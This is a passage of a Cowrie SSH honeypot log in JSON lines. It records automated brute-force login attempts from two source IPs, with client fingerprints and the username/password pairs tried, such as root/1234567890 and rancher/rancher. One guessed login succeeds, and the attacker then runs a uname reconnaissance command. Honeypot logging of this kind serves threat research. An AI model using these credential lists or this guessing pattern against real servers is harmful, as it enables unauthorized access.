0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:05.102826Z","src_ip":"192.109.200.78","session":"22622a832772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:05.357481Z","src_ip":"192.109.200.78","session":"22622a832772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:06.441622Z","src_ip":"192.109.200.78","session":"22622a832772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33858,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6fd0714852a","protocol":"ssh","message":"New connection: 192.109.200.78:33858 (10.17.0.5:22) [session: d6fd0714852a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:08.421926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:08.426258Z","src_ip":"192.109.200.78","session":"d6fd0714852a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:08.507529Z","src_ip":"192.109.200.78","session":"d6fd0714852a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:08.755958Z","src_ip":"192.109.200.78","session":"d6fd0714852a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:09.841576Z","src_ip":"192.109.200.78","session":"d6fd0714852a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53362,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab2d56c833e","protocol":"ssh","message":"New connection: 192.109.200.78:53362 (10.17.0.5:22) [session: 6ab2d56c833e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:11.937949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:11.942097Z","src_ip":"192.109.200.78","session":"6ab2d56c833e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:12.024248Z","src_ip":"192.109.200.78","session":"6ab2d56c833e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:12.495768Z","src_ip":"192.109.200.78","session":"6ab2d56c833e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:13.579962Z","src_ip":"192.109.200.78","session":"6ab2d56c833e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53374,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f1f662345ad","protocol":"ssh","message":"New connection: 192.109.200.78:53374 (10.17.0.5:22) [session: 6f1f662345ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:15.591317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:15.594978Z","src_ip":"192.109.200.78","session":"6f1f662345ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:15.678413Z","src_ip":"192.109.200.78","session":"6f1f662345ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:15.925406Z","src_ip":"192.109.200.78","session":"6f1f662345ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:17.009033Z","src_ip":"192.109.200.78","session":"6f1f662345ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53404,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b053f0dae6e","protocol":"ssh","message":"New connection: 192.109.200.78:53404 (10.17.0.5:22) [session: 6b053f0dae6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:18.962604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:18.967278Z","src_ip":"192.109.200.78","session":"6b053f0dae6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:19.048124Z","src_ip":"192.109.200.78","session":"6b053f0dae6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:19.300261Z","src_ip":"192.109.200.78","session":"6b053f0dae6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:20.384959Z","src_ip":"192.109.200.78","session":"6b053f0dae6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57020,"dst_ip":"10.17.0.5","dst_port":22,"session":"da83a456bbe7","protocol":"ssh","message":"New connection: 192.109.200.78:57020 (10.17.0.5:22) [session: da83a456bbe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:22.319765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:22.326534Z","src_ip":"192.109.200.78","session":"da83a456bbe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:22.408669Z","src_ip":"192.109.200.78","session":"da83a456bbe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:22.651666Z","src_ip":"192.109.200.78","session":"da83a456bbe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:23.736773Z","src_ip":"192.109.200.78","session":"da83a456bbe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57032,"dst_ip":"10.17.0.5","dst_port":22,"session":"9212faf9f0ca","protocol":"ssh","message":"New connection: 192.109.200.78:57032 (10.17.0.5:22) [session: 9212faf9f0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:25.944454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:25.957583Z","src_ip":"192.109.200.78","session":"9212faf9f0ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:26.027357Z","src_ip":"192.109.200.78","session":"9212faf9f0ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:26.344268Z","src_ip":"192.109.200.78","session":"9212faf9f0ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:26.554390Z","src_ip":"192.109.200.78","session":"9212faf9f0ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:26.557204Z","src_ip":"192.109.200.78","session":"9212faf9f0ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:26.641377Z","src_ip":"192.109.200.78","session":"9212faf9f0ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:26.645826Z","src_ip":"192.109.200.78","session":"9212faf9f0ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57046,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb4c049d3cc5","protocol":"ssh","message":"New connection: 192.109.200.78:57046 (10.17.0.5:22) [session: eb4c049d3cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:29.362050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:29.366097Z","src_ip":"192.109.200.78","session":"eb4c049d3cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:29.447720Z","src_ip":"192.109.200.78","session":"eb4c049d3cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":41722,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5ee613b4079","protocol":"ssh","message":"New connection: 152.32.171.213:41722 (159.203.135.109:22) [session: a5ee613b4079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:29.631193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:29.635159Z","src_ip":"152.32.171.213","session":"a5ee613b4079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:29.691060Z","src_ip":"192.109.200.78","session":"eb4c049d3cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:29.852603Z","src_ip":"152.32.171.213","session":"a5ee613b4079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pavel","password":"1234","message":"login attempt [pavel/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:30.760219Z","src_ip":"152.32.171.213","session":"a5ee613b4079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:30.773500Z","src_ip":"192.109.200.78","session":"eb4c049d3cc5","protocol":"ssh"}
